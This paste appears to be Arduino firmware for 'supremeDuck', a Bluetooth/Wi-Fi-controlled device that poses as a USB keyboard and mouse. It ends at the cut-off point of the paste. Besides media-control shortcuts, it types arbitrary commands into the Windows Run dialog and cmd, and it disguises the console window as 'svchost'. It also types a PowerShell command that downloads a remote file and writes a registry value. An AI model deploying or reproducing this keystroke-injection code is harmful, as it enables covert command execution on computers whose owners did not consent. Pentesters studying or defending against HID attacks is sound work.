Advertisement
michalmonday

supremeDuck - wifi testing

Dec 9th, 2018
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Arduino 39.94 KB | None | 0 0
  1. /*
  2. supremeDuck project - https://github.com/michalmonday/supremeDuck
  3. Created by Michal Borowski
  4.  
  5. Last edited: 24/07/2018
  6. */
  7.  
  8.  
  9. #define APP_Version "1.06"                            // it is used to compare it with the app version to make sure that both of them are the same (if they're not the same it will be shown in the mobile app and update will be suggested, first implemented in version 1.03 so it won't give any notice for earlier versions)
  10.                                                       // ATMEGA 32U4 which is the chip on Arduino Pro Micro has 1024 bytes of EEPROM.
  11.  
  12. #define WIFI_DUCKY_SETUP                             // uncomment if you're using "HC-06"
  13.  
  14. #ifdef WIFI_DUCKY_SETUP
  15.   #define USE_TX_RX_PINS                             //  TX/RX pins of pro micro instead of 9/8 pins and software serial library
  16.   #define MODULE_BAUDRATE 74880                     // use higher baudrate for Esp8266 (better speed for plain text/ducky scripts)
  17. #else
  18.   #define MODULE_BAUDRATE 9600                          //(default baud rate of hc-06) It's the speed of communication between Arduino and HC-06, it shouldn't be changed without additionally changing it on the HC-06.
  19. #endif
  20.                                                                                                
  21. #ifdef USE_TX_RX_PINS
  22.   #define App Serial1                          
  23. #else
  24.   #include <SoftwareSerial.h>                  // Allows communication between the Arduino and HC-06 module using various I/O pins
  25.   SoftwareSerial App(9, 8);                    // RX | TX these are pins responsible for communication between the bluetooth/wifi module and arduino
  26. #endif
  27.  
  28. #include <EEPROM.h>                               // Electrically Erasable Programmable Read-Only Memory, it allows to save some values that will prevail even when the device is disconnected from power.
  29.    
  30. #define WAIT_FOR_SERIAL_MONITOR_TO_OPEN
  31. //#define LOG_SAVED_ENCODING_EEPROM                
  32. #define LOG_SERIAL                            // serial logging may cause stability issues because of too much memory being used... (keep it disabled unless debugging)  
  33.  
  34. /*
  35. #define EEPROM_ADDRESS_TRIGGER_TRICK 0
  36. trick = plug it in + plug out within 3 secs => special function is triggered(that special function is commented out in "setup" funciton)
  37. */
  38.                                                  
  39. /* NICOHOOD BOOTKEYBOARD STUFF */
  40. //#define USE_NICOHOOD_BOOTKEYBOARD               //comment this out if it shouldn't be used (I couldn't get alt+numpad to work with this for some reason so I'd just leave it)
  41.  
  42. #ifdef USE_NICOHOOD_BOOTKEYBOARD
  43.   #include "HID-Project.h"
  44.   #define myKeyboard BootKeyboard
  45. #else
  46.   #include "Keyboard.h"                           // library which provides all the functions to emulate Human Interface Device
  47.   #include "Mouse.h"                              // the same as above
  48.   #define myKeyboard Keyboard                     // custom variable so it's easy to switch between "BootKeyboard" by NicoHood (https://github.com/NicoHood/HID/tree/master/examples/Keyboard/BootKeyboard) and the normal keyboard
  49. #endif
  50.  
  51.  
  52. #define MAX_SERIAL_LENGTH 200                     // Maximum lenght of data received from the bluetooth module. If you'd like to make it greater than 255 make sure to replace "byte" with "int" inside every "for loop"
  53. char inSerial[MAX_SERIAL_LENGTH];                 //it will contain the text sent from bluetooth module and received in arduino
  54.  
  55. #define ENCODING_BYTE_DESIRED 0
  56. #define ENCODING_BYTE_USED 1
  57. #define ENCODING_BYTE_MODIFIER 2
  58. #define ENCODING_SIZE 72
  59.  
  60. byte Encoding[3][ENCODING_SIZE] = {               //definition only applies to new devices where encoding isn't saved at EEPROM yet. By default it's US keyboard encoding
  61.   {0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x4D, 0x51, 0x57, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E},
  62.   {0x31, 0x22, 0x33, 0x34, 0x35, 0x37, 0x22, 0x39, 0x30, 0x38, 0x3D, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3B, 0x3B, 0x2C, 0x3D, 0x2E, 0x2F, 0x32, 0x61, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x5C, 0x5D, 0x36, 0x2D, 0x7E, 0x61, 0x69, 0x6D, 0x71, 0x77, 0x79, 0x7A, 0x5B, 0x5C, 0x5D, 0x7E},
  63.   {0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x00, 0x81, 0x00, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0x00, 0x00, 0x00, 0x81, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x81, 0x81, 0x81}
  64. }; //saved at EEPROM 1-100, 101-200, 201-300
  65.  
  66. /*
  67.   How this project is using EEPROM space:
  68.   0 - tricky activation for classic rubber ducky plug and execute method (deactivated/commented out, can't be bool, has to be some predefined int that normally would be unlikely to be there)
  69.   1-300 - encoding
  70.   301 - use multilang
  71.   302-332 - encoding name
  72.   333-363 - bluetooth name
  73.   364-369 - bluetooth pin
  74.  
  75.   1008 - requested name change (after reboot, can't be bool, has to be some random pre-defined int)
  76.   1012 - requested pin change
  77.  */
  78.  
  79. #define EEPROM_ADDRESS_REQUESTED_BLUETOOTH_NAME_CHANGE 1008
  80. #define EEPROM_ADDRESS_REQUESTED_BLUETOOTH_PIN_CHANGE 1012
  81. #define EEPROM_ADDRESS_BLUETOOTH_NAME 333
  82. #define BLUETOOTH_NAME_SIZE 30
  83. #define EEPROM_ADDRESS_BLUETOOTH_PIN 364
  84.  
  85. #define EEPROM_ADDRESS_ENCODING_AVAILABLE 1016                  // address at which "777" will be written when the device will receive its first instruction to use some other encoding than the default US (this way I'll know to load EEPROM instead of using default US after re-boot)
  86. #define EEPROM_STARTING_ADDRESS_ENCODING_DESIRED 1
  87. #define EEPROM_STARTING_ADDRESS_ENCODING_USED 101
  88. #define EEPROM_STARTING_ADDRESS_ENCODING_MODIFIER 201
  89. bool useMultiLangWindowsMethod = true;                          // it's set to true but it will be reset after checking EEPROM which is done after turning on the device
  90. #define EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS 301
  91. #define EEPROM_STARTING_ADDRESS_ENCODING_NAME 302
  92. #define ENCODING_NAME_SIZE 30
  93.  
  94. /*
  95.  * keypad values copied from http://forum.arduino.cc/index.php?topic=266688.msg1880647#msg1880647
  96.  * thanks to nickgammon's reply
  97.  */
  98.  
  99. byte KEYPAD[10] = {234, 225, 226, 227, 228, 229, 230, 231, 232, 233};
  100. unsigned long previousSendingTime = 0;                    // used for sending setting data updates to the phone (current keyboard encoding, multilang thing)
  101. unsigned long lastOKsendingTime = 0;
  102. char encodingName[ENCODING_NAME_SIZE] = {"US"};           // it will store the name of the currently used language encoding so it can be sent and displayed on the application (e.g  US, UK - gb, Deutch - ger, etc.)
  103. char commandLineObfuscationString[54] = "echo off & mode 20,1 & title svchost & color 78 & cls";                      // line used to make the command prompt less visible
  104. void SetNewCharEncoding(char *inStr);
  105. unsigned long last_alt_tab_time = 0;
  106. #define ALT_TAB_AUTORELEASE 1000
  107.  
  108. void setup()                                    // setup function is a part of every Arduino sketch, it gets called once at the begining
  109. {
  110.   App.begin(MODULE_BAUDRATE);                  // begin communication with the bluetooth module
  111.   //Keyboard.begin();                           // begin emulating keyboard
  112.   myKeyboard.begin();
  113.   Mouse.begin();                                // begin emulating mouse
  114.  
  115.   #ifdef LOG_SERIAL
  116.     Serial.begin(9600);                           // begin serial communication so it's possible to use "Tools -> Serial Monitor" to see the debugging output
  117.   #endif
  118.  
  119.   #ifdef WAIT_FOR_SERIAL_MONITOR_TO_OPEN
  120.     while(!Serial){
  121.       ;
  122.     }
  123.     Serial.println("Serial monitor opened - code is working so far");
  124.   #endif
  125.  
  126.  
  127.   /*
  128.   //TRIGGER TRICK
  129.   //plug in and out within 3 sec to trigger some action at the next plug in
  130.   byte triggerDefault = 0;
  131.   EEPROM.get(EEPROM_ADDRESS_TRIGGER_TRICK, triggerDefault);
  132.   byte c =1;
  133.   EEPROM.put(EEPROM_ADDRESS_TRIGGER_TRICK, c);
  134.   if(triggerDefault == 1)
  135.   {
  136.     //action
  137.   }
  138.  
  139.   delay(3000);
  140.   c =0;
  141.   EEPROM.put(EEPROM_ADDRESS_TRIGGER_TRICK, c);  
  142.   */  
  143.  
  144.   //delay(10000);  
  145.   SavedEncodingAvailabilityCheck();             //rewrites the default US encoding with the saved one
  146.   SavedMultiLangMethodWindowsCheck();           //checks whether to use the alt+numpad method
  147.  
  148.   ChangeBluetoothCheck();
  149.  
  150.   //delay(5000);
  151.  
  152.   /*
  153.   myKeyboard.press(KEY_LEFT_ALT);
  154.   delay(200);
  155.   PressRelease(KEYPAD[9], 5);
  156.  
  157.   PressRelease(KEYPAD[9], 5);
  158.  
  159.   myKeyboard.releaseAll();
  160. */
  161.  
  162.   /*
  163.   myKeyboard.press(226);
  164.   myKeyboard.press(97);
  165.   myKeyboard.release(97);
  166.   myKeyboard.press(97);
  167.   myKeyboard.releaseAll();
  168.  
  169.  
  170.   Serial.println((byte)KEYPAD_9);
  171.   Serial.println((byte)KEY_LEFT_ALT);
  172.   */
  173. }
  174.  
  175.  
  176. void loop()                                   // loop function is also a part of every Arduino sketch but gets called over again after it returns/finishes unlike "setup" function
  177. {
  178.   byte i=0;
  179.   if (App.available() > 0)               // check whether there's any data received by the bluetooth module
  180.   {        
  181.     unsigned long previousByteRec = millis(); unsigned long lastByteRec = millis();               // timing functions (needed for reliable reading of the BTserial)
  182.     while (100 > lastByteRec - previousByteRec)                                                   // if no further character was received during 100ms then proceed with the amount of chars that were already received (notice that "previousByteRec" gets updated only if a new char is received)
  183.     {      
  184.       lastByteRec = millis();  
  185.       while (App.available() > 0 && i < MAX_SERIAL_LENGTH-1)
  186.       {
  187.         inSerial[i]=App.read(); i++;                               // read bluetooth data (copy it to an array)        
  188.         if(i == 16)                                                     // mouse movement check (only if the bluetooth receives exactly 16 characters)
  189.         {
  190.           if(StrStartsWith(inSerial, "MM:") && StrEndsWith(inSerial, ",end")){
  191.               #ifdef LOG_SERIAL
  192.                 Serial.println(inSerial);
  193.               #endif
  194.  
  195.               //Serial.println("Length: " + String(strlen(inSerial)));
  196.               //Serial.println(inSerial); // debug
  197.  
  198.               //Serial.println("a");
  199.              
  200.  
  201.              
  202.               inSerial[i]='\0'; MyFuncMouseMove(inSerial);i = 0;
  203.             }     //MM:L,U,3,1,end (mouse movement)}
  204.         }
  205.         previousByteRec = lastByteRec;
  206.       }    
  207.     }
  208.  
  209.     inSerial[i]= 0;                                     // end the string with 0
  210.     #ifdef LOG_SERIAL
  211.       Serial.write(inSerial);             //it's useful for checking what text arduino receives from android but it makes the mouse movement laggy if the serial monitor is closed
  212.       Serial.write("\n");  
  213.     #endif
  214.                                    
  215.     Check_Protocol(inSerial);                           // main checking function, all the functionality gets triggered there depending on what it received from the bluetooth module      
  216.     App.print("OK");                               // it wasn't necessary before, but the ducky script functionality requires the Arduino to say: "OK, I already typed the last line/key you've sent me, so you can send the next one", otherwise there would have to be a bigger delay  
  217.     lastOKsendingTime = millis();
  218.   }
  219.  
  220.  
  221.   /*
  222.   unsigned long lastSendingTime = millis();             // needed to measure time and check when the last chunk of data was sent to mobile phone (it's a part of 2-way communication)
  223.   if(lastSendingTime - previousSendingTime > 2500)      // send update to the mobile phone about the current language encoding and whether MultiLang method is used
  224.   {
  225.     if(lastSendingTime - lastOKsendingTime > 1000)      // additional check - if "OK" has been sent during the last second then avoid sending this data, just in case if there was further communication incomming
  226.     {
  227.       previousSendingTime = lastSendingTime;
  228.       char data[40];
  229.       sprintf(data,"data=%i,%s,end", useMultiLangWindowsMethod,encodingName);           //format string
  230.       App.write(data);                                                             // send the data to the mobile app or any other bluetooth device that is connected to it right now
  231.       memset(data, 0, 40);                                                              //reset "data" (idk if it's even necessary)
  232.     }
  233.   }
  234.   */
  235.  
  236.   Alt_Tab_Release_Routine();
  237. }
  238.  
  239. void Alt_Tab_Release_Routine(){
  240.   if(last_alt_tab_time > 0){
  241.     if(millis() - last_alt_tab_time > ALT_TAB_AUTORELEASE){
  242.       last_alt_tab_time =  0;
  243.       myKeyboard.releaseAll();
  244.     }
  245.   }
  246. }
  247.  
  248. void SavedMultiLangMethodWindowsCheck()                   // check whether the MultiLang method was used before the device turned off last time (access EEPROM by using function "EEPROM.get(address, my_var);")
  249. {
  250.   EEPROM.get(EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS, useMultiLangWindowsMethod);                //read from EEPROM (persistent memory of ATMEGA 32U4) to see whether it should use MultiLang method
  251.  
  252.   #ifdef LOG_SERIAL
  253.     //Serial.print("MultiLang method (Windows only) setting has been read from the EEPROM - ");
  254.     if(useMultiLangWindowsMethod)
  255.     {
  256.       //Serial.println("it's enabled.");
  257.     }
  258.     else
  259.     {
  260.       //Serial.println("it's disabled.");
  261.     }
  262.   #endif
  263.  
  264. }
  265.  
  266. void SavedEncodingAvailabilityCheck()                               //rewrites the default US encoding with the one which was used last time and saved to EEPROM
  267. {
  268.   int numCheck = 0;                                                     //this has to be changed to int and saved elsewhere in the EEPROM, it has to be certain value so it won't give false positives
  269.   EEPROM.get(EEPROM_ADDRESS_ENCODING_AVAILABLE, numCheck);
  270.   if(numCheck == 777)
  271.   {
  272.     for(byte i=0;i<3; i++)
  273.     {
  274.       for(byte offset=0; offset<ENCODING_SIZE; offset++)
  275.       {
  276.         EEPROM.get(offset+1+(ENCODING_SIZE*i), Encoding[i][offset]);            //+1 because the 0 address holds trigger bool for tricky activation method
  277.         #ifdef LOG_SAVED_ENCODING_EEPROM
  278.           Serial.print(Encoding[i][offset], HEX);
  279.           Serial.print(",");
  280.         #endif
  281.       }
  282.  
  283.       #ifdef LOG_SAVED_ENCODING_EEPROM
  284.         Serial.print("\n");
  285.       #endif
  286.     }
  287.  
  288.     EEPROM.get(EEPROM_STARTING_ADDRESS_ENCODING_NAME, encodingName);
  289.   }
  290.   else
  291.   {
  292.     #ifdef LOG_SAVED_ENCODING_EEPROM
  293.       Serial.print("No encoding available");
  294.       Serial.print("\n");
  295.     #endif
  296.   }
  297. }
  298.  
  299. void ChangeBluetoothCheck(){
  300.   int numCheck = 0;
  301.  
  302.  
  303.   EEPROM.get(EEPROM_ADDRESS_REQUESTED_BLUETOOTH_NAME_CHANGE, numCheck);
  304.   if(numCheck == 777)
  305.   {
  306.     EEPROM.put(EEPROM_ADDRESS_REQUESTED_BLUETOOTH_NAME_CHANGE, 0);
  307.     char bluetoothName[BLUETOOTH_NAME_SIZE] = {0};
  308.     //Serial.println(bluetoothName);
  309.     EEPROM.get(EEPROM_ADDRESS_BLUETOOTH_NAME, bluetoothName);
  310.     char at_cmd[BLUETOOTH_NAME_SIZE + 15] = {0};
  311.     sprintf(at_cmd, "AT+NAME%s\0", bluetoothName);
  312.     delay(700);
  313.    
  314.     App.print(at_cmd);
  315.    
  316.     #ifdef LOG_SERIAL
  317.       //Serial.println("Changed bluetooth name. Command used:");
  318.       Serial.println(at_cmd);
  319.     #endif
  320.    
  321.     delay(1000);
  322.     while(App.available() > 0){char c = App.read();}
  323.   }
  324.  
  325.   numCheck = 0;
  326.  
  327.   EEPROM.get(EEPROM_ADDRESS_REQUESTED_BLUETOOTH_PIN_CHANGE, numCheck);
  328.   if(numCheck == 777)
  329.   {
  330.     EEPROM.put(EEPROM_ADDRESS_REQUESTED_BLUETOOTH_PIN_CHANGE, (int)0);
  331.     char pin[5] = {0};
  332.     EEPROM.get(EEPROM_ADDRESS_BLUETOOTH_PIN, pin);
  333.     char at_pin_cmd[16] = {0};
  334.     sprintf(at_pin_cmd, "AT+PIN%s\0", pin);
  335.     delay(700);
  336.     App.print(at_pin_cmd);
  337.  
  338.     #ifdef LOG_SERIAL
  339.       //Serial.println("Changed bluetooth pin. Command used:");
  340.       Serial.println(at_pin_cmd);
  341.     #endif
  342.  
  343.     //Serial.println("wtf");
  344.    
  345.     delay(1000);
  346.     while(App.available() > 0){char c = App.read();}
  347.   }
  348. }
  349.  
  350.  
  351. void MyFuncMouseMove(char *inStr)
  352. {
  353.   char x;
  354.   char y;
  355.  
  356.   //MM:L,U,FF,FF,end
  357.   char strValBuff[3]={inStr[7],inStr[8],'\0'};
  358.   x = (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
  359.    
  360.   strValBuff[0]=inStr[10];
  361.   strValBuff[1]=inStr[11];
  362.   y = (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
  363.  
  364.  //MM:L,U,FF,FF,end //left/right, up/down, horizontal value, vertical value
  365.   if(inStr[3] == 'L'){x = x * -1;}
  366.   if(inStr[5] == 'D'){y = y * -1;}      
  367.  
  368.   #ifdef LOG_SERIAL
  369.     //Serial.print("    x="); Serial.print((byte)x);Serial.print(", y=");Serial.print((byte)y);Serial.print("\n");
  370.   #endif
  371.  
  372.   Mouse.move(x, y, 0);
  373.  
  374.   for(byte i=0;i<strlen(inStr);i++){inStr[i]=0;}
  375. }
  376.  
  377. void TypeKey(int key)
  378. {
  379.   myKeyboard.press(key);
  380.   delay(50);
  381.   myKeyboard.release(key);
  382. }
  383.  
  384. void OpenRun()
  385. {
  386.   myKeyboard.press(KEY_LEFT_GUI);
  387.   delay(200);
  388.   myKeyboard.press('r');
  389.   delay(200);
  390.   myKeyboard.releaseAll();
  391.   delay(700);
  392. }
  393.  
  394. void OpenCmd()
  395. {
  396.   OpenRun();  
  397.   Print("cmd");
  398.   TypeKey(KEY_RETURN);
  399. }
  400.  
  401. void EnterCommand(char *text)
  402. {
  403.   Print(text);
  404.   delay(10);
  405.   TypeKey(KEY_RETURN);  
  406. }
  407.  
  408.  
  409.  
  410. void Check_Protocol(char *inStr)
  411. {      
  412.  
  413.     if(!strcmp(inStr, "Request_info\0")){
  414.       char data[40];
  415.       sprintf(data,"data=%i,%s,end", useMultiLangWindowsMethod,encodingName);           //format string
  416.       App.write(data); // send the data to the mobile app or any other bluetooth device that is connected to it right now    
  417.       //Serial.println(data);
  418.       memset(data, 0, 40);  
  419.     }
  420.    
  421.     if(!strcmp(inStr, "Ctrl_alt_del\0")){
  422.       myKeyboard.releaseAll();
  423.       delay(20);
  424.       myKeyboard.press(KEY_LEFT_CTRL);
  425.       delay(20);
  426.       myKeyboard.press(KEY_LEFT_ALT);
  427.       delay(20);
  428.       myKeyboard.press(KEY_DELETE);
  429.       delay(200);
  430.       myKeyboard.releaseAll();
  431.     }
  432.  
  433.     if(!strcmp(inStr, "Right_click\0")){
  434.       Mouse.click(MOUSE_RIGHT);
  435.     }
  436.  
  437.     if(!strcmp(inStr, "Esc\0")){
  438.       myKeyboard.press(KEY_ESC);
  439.       delay(20);
  440.       myKeyboard.releaseAll();
  441.      
  442.     }
  443.    
  444.     if(!strcmp(inStr, "Backspace\0")){
  445.       myKeyboard.press(KEY_BACKSPACE);
  446.       delay(20);
  447.       myKeyboard.releaseAll();
  448.     }
  449.  
  450.  
  451.     if(!strcmp(inStr, "Disconnect\0")){
  452.       delay(1000);
  453.       ChangeBluetoothCheck();
  454.     }
  455.    
  456.     if(!strcmp(inStr, "Enter\0")){TypeKey(KEY_RETURN);}
  457.    
  458.     if(!strcmp(inStr, "Alt+F4\0")){
  459.         myKeyboard.press(KEY_LEFT_ALT);
  460.         delay(10);
  461.         myKeyboard.press(KEY_F4);
  462.         delay(50);
  463.         myKeyboard.releaseAll();
  464.     }
  465.  
  466.     if(!strcmp(inStr, "Alt+Tab\0")){
  467.        
  468.         if(last_alt_tab_time == 0){
  469.           myKeyboard.press(KEY_LEFT_ALT);
  470.           delay(50);
  471.         }
  472.         myKeyboard.press(KEY_TAB);
  473.         delay(50);
  474.         myKeyboard.release(KEY_TAB);
  475.         last_alt_tab_time = millis();
  476.     }
  477.    
  478.     if(!strcmp(inStr, "Increase font size")){
  479.         myKeyboard.press(KEY_LEFT_CTRL);
  480.         delay(10);
  481.         myKeyboard.press(KEY_LEFT_SHIFT);
  482.         delay(10);
  483.         myKeyboard.press('>');
  484.         delay(50);
  485.         myKeyboard.releaseAll();  
  486.     }
  487.    
  488.     if(!strcmp(inStr, "Decrease font size")){
  489.         myKeyboard.press(KEY_LEFT_CTRL);
  490.         delay(10);
  491.         myKeyboard.press(KEY_LEFT_SHIFT);
  492.         delay(10);
  493.         myKeyboard.press('<');
  494.         delay(50);
  495.         myKeyboard.releaseAll();  
  496.     }
  497.    
  498.     if(!strcmp(inStr, "Select all")){
  499.         myKeyboard.press(KEY_LEFT_CTRL);
  500.         delay(10);
  501.         myKeyboard.press('a');
  502.         delay(50);
  503.         myKeyboard.releaseAll();  
  504.     }
  505.    
  506.     if(!strcmp(inStr, "Bold")){
  507.         myKeyboard.press(KEY_LEFT_CTRL);
  508.         delay(10);
  509.         myKeyboard.press('b');
  510.         delay(50);
  511.         myKeyboard.releaseAll();
  512.     }
  513.    
  514.     if(!strcmp(inStr, "Underline")){
  515.         myKeyboard.press(KEY_LEFT_CTRL);
  516.         delay(10);
  517.         myKeyboard.press('u');
  518.         delay(50);
  519.         myKeyboard.releaseAll();
  520.     }
  521.    
  522.     if(!strcmp(inStr, "click")){Mouse.click();}
  523.    
  524.     if(!strcmp(inStr, "VER")){                            // if the mobile phone app asks what version of the code is used on Arduino, to make sure that the same it's not different from the mobile app
  525.         char data[13];
  526.         sprintf(data,"ver=%s,end", APP_Version);          //format string
  527.         App.write(data);                         // send the data to the mobile app or any other bluetooth device that is connected to it right now
  528.         for(byte i=0;i<13;i++){data[i]=0;}            //reset "data" (idk if it's even necessary)
  529.     }
  530.    
  531.     if(IsCmd(inStr, "YT:")){                       //YT:t,end (Youtube)
  532.         ExtractDeliveredText(inStr, 3);
  533.         OpenRun();
  534.         //Print("www.youtube.com/embed/2Z4m4lnjxkY?rel=0&autoplay=1");        //trololo 2Z4m4lnjxkY  
  535.         Print("www.youtube.com/embed/");
  536.         Print(inStr);
  537.         Print("?rel=0&autoplay=1");
  538.         TypeKey(KEY_RETURN);  
  539.     }
  540.  
  541.     if(IsCmd(inStr, "YTB:")){                      //youtube control buttons
  542.         ExtractDeliveredText(inStr, 4);
  543.         if(StrContains(inStr, "PP")){Print(" ");}                                                         //pause/play
  544.         else if(StrContains(inStr, "F5")){myKeyboard.press(KEY_RIGHT_ARROW);}                             //forward 5s // change inc/vol to 10 sec if it doesn't work and use Print("l/j")
  545.         else if(StrContains(inStr, "B5")){myKeyboard.press(KEY_LEFT_ARROW);}                              //backward 5s
  546.         else if(StrContains(inStr, "GB")){myKeyboard.press(KEY_HOME);}                                    //go to begining
  547.         else if(StrContains(inStr, "GE")){myKeyboard.press(KEY_END);}                                     //go to end
  548.         else if(StrContains(inStr, "CA")){Print("c");}                                                    //captions tog
  549.         else if(StrContains(inStr, "IS")){myKeyboard.press(KEY_LEFT_SHIFT); delay(50); Print(">");}       //increase speed (may not work in all browsers)
  550.         else if(StrContains(inStr, "DS")){myKeyboard.press(KEY_LEFT_SHIFT); delay(50); Print("<");}       //decrease speed
  551.         else if(StrContains(inStr, "IV")){myKeyboard.press(KEY_UP_ARROW);}                                //increase vol
  552.         else if(StrContains(inStr, "DV")){myKeyboard.press(KEY_DOWN_ARROW);}                              //decrease vol
  553.         else if(StrContains(inStr, "PV")){myKeyboard.press(KEY_LEFT_SHIFT); delay(50); Print("p");}       //previous video (in a playlist)
  554.         else if(StrContains(inStr, "NV")){myKeyboard.press(KEY_LEFT_SHIFT); delay(50); Print("n");}       //next video
  555.         else if(StrContains(inStr, "FS")){Print("f");}                                                    //full screen tog
  556.         else if(StrContains(inStr, "F11")){myKeyboard.press(KEY_F11);}                                    //full screen browser tog
  557.         delay (70);
  558.         myKeyboard.releaseAll();
  559.     }
  560.    
  561.     if(IsCmd(inStr, "WS:")){                     //WS:t,end (website)
  562.         ExtractDeliveredText(inStr, 3);
  563.         OpenRun();
  564.         Print(inStr);
  565.         TypeKey(KEY_RETURN);
  566.     }
  567.    
  568.     if(IsCmd(inStr, "EP:")){                     //EP:t,end (execute program)
  569.         ExtractDeliveredText(inStr, 3);
  570.         OpenRun();
  571.         Print(inStr);
  572.         delay(100);
  573.         TypeKey(KEY_RETURN);  
  574.     }
  575.    
  576.     if(IsCmd(inStr, "EC:")){                     //EC:t,end (execute command)
  577.         ExtractDeliveredText(inStr, 3);
  578.         OpenCmd();
  579.         delay(500);
  580.         EnterCommand(commandLineObfuscationString);
  581.         Print(inStr);
  582.         if(StrStartsWith(inStr, "cd \"%USERPROFILE%\\Desktop\" & FOR")){TypeKey(KEY_RETURN); delay(50); Print("echo a");}       //exception for a command which creates multiple files (otherwise only one file would be created, echo a is added because command " & exit" wouldn't close the window without something preceding it
  583.         Print(" & exit");
  584.         TypeKey(KEY_RETURN);  
  585.         delay(100);
  586.     }
  587.    
  588.     if(IsCmd(inStr, "PT:")){                     // plain text
  589.         ExtractDeliveredText(inStr, 3);
  590.         Print(inStr);
  591.     }
  592.    
  593.     if(IsCmd(inStr, "TE:")){                     //(direct text instruction but with enter at the end )    
  594.         ExtractDeliveredText(inStr, 3);
  595.         Print(inStr);
  596.         delay(20);
  597.         myKeyboard.press(KEY_RETURN);
  598.         delay(20);
  599.         myKeyboard.release(KEY_RETURN);  
  600.     }
  601.    
  602.     if(IsCmd(inStr ,"ML:")){                     // enable/disable multi lang method
  603.         ExtractDeliveredText(inStr, 3);
  604.         if(!strcmp(inStr,"Enabled")){
  605.           useMultiLangWindowsMethod = true;
  606.           EEPROM.put(EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS, true);
  607.           #ifdef LOG_SERIAL
  608.             //Serial.println("MultiLang method (Windows only) has been enabled.");
  609.           #endif
  610.         }
  611.         else if(!strcmp(inStr,"Disabled")){
  612.           useMultiLangWindowsMethod = false;
  613.           EEPROM.put(EEPROM_ADDRESS_USE_MULTI_LANG_METHOD_WINDOWS, false);
  614.           #ifdef LOG_SERIAL
  615.             //Serial.println("MultiLang method (Windows only) has been disabled.");
  616.           #endif
  617.         }
  618.     }
  619.      
  620.     if(IsCmd(inStr, "ENC,")){SetNewCharEncoding(inStr);}
  621.  
  622.     // ducky script                                    
  623.     //*  PDK_HC:FF,a,end    // Press double key _ hex + char
  624.     //*  PDK_HH:FF,FF,end   // Press double key _ hex + hex
  625.     //*  PK:a,end  // Press key char
  626.     //*  PKH:FF,end // Press key hex
  627.     //*  WAIT:5000,end // delay(5000);
  628.     if(IsCmd(inStr, "PDK_HC:")){                   // press double key (when hex and char received)            
  629.         ExtractDeliveredText(inStr, 7);
  630.         inStr[4] = 0;
  631.         myKeyboard.press(HexToChar(inStr));
  632.         delay(5);
  633.         //Print(inStr[3]);
  634.         myKeyboard.press(inStr[3]);
  635.         delay(5);
  636.         myKeyboard.releaseAll();
  637.     }
  638.    
  639.     if(IsCmd(inStr, "PDK_HH:")){                   // press double key ( when hex and hex values received)        
  640.         ExtractDeliveredText(inStr, 7);
  641.         char key_1 = HexToChar(inStr);
  642.         char key_2[2] = {HexToChar(inStr+2),"\0"};
  643.         myKeyboard.press(key_1);
  644.         delay(5);
  645.         //Print(key_2);
  646.         myKeyboard.press(key_2);
  647.         delay(5);
  648.         myKeyboard.releaseAll();  
  649.     }
  650.    
  651.     if(IsCmd(inStr, "PK:")){                       // press key
  652.         ExtractDeliveredText(inStr, 3);
  653.         inStr[1] = 0;
  654.         Print(inStr[0]);
  655.     }
  656.    
  657.     if(IsCmd(inStr, "PKH:")){                      // press key (when hex received)
  658.         ExtractDeliveredText(inStr, 4);
  659.         char key[2] = {HexToChar(inStr), '\0'};
  660.         Print(key);    
  661.     }
  662.    
  663.     if(IsCmd(inStr, "WAIT:")){
  664.         ExtractDeliveredText(inStr, 5);
  665.         int val;
  666.         sscanf(inStr, "%i", &val);
  667.         delay(val);    
  668.     }
  669.    
  670.     if(IsCmd(inStr, "SW:") && StrContains(inStr, ",type:")){         //SW:t,type:est,end (download and set as a wallpaper)
  671.         byte indexType = SubStrIndex(inStr, ",type:");                                                        //trying to get the position where link is ending and the file type begins
  672.         byte indexEnd = SubStrIndex(inStr, ",end");                                                           //trying to get the position where the file type ends (to know its length)
  673.         char fileFormat[10];
  674.         byte typeLen = indexEnd - (indexType + strlen(",type:")); //get length
  675.         for(byte i=0;i<=typeLen;i++){
  676.           fileFormat[i] = inStr[i+indexType+strlen(",type:")];
  677.           if(i == typeLen){fileFormat[i] = '\0';}
  678.         }
  679.         for(byte i=0;i<=indexType-3;i++){                               //indexType - 3 which is "SW:" + 1
  680.           inStr[i] = inStr[i+3];
  681.           if(i == indexType-3){inStr[i] = '\0';}
  682.         }    
  683.         OpenCmd(); //("powershell Start-Process cmd -Verb runAs");
  684.         delay(500);
  685.         EnterCommand(commandLineObfuscationString);
  686.         Print("powershell \"$down = New-Object System.Net.WebClient; $url = '");
  687.         Print(inStr);
  688.         Print("'; $file = 'downloadedfile.");
  689.         Print(fileFormat);
  690.         Print("'; $down.DownloadFile($url,$file); exit;\" & reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /t REG_SZ /d C:\\Users\\%USERNAME%\\downloadedfile.");
  691.         Print(fileFormat);
  692.         Print(" /f & RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters & exit");
  693.         TypeKey(KEY_RETURN);
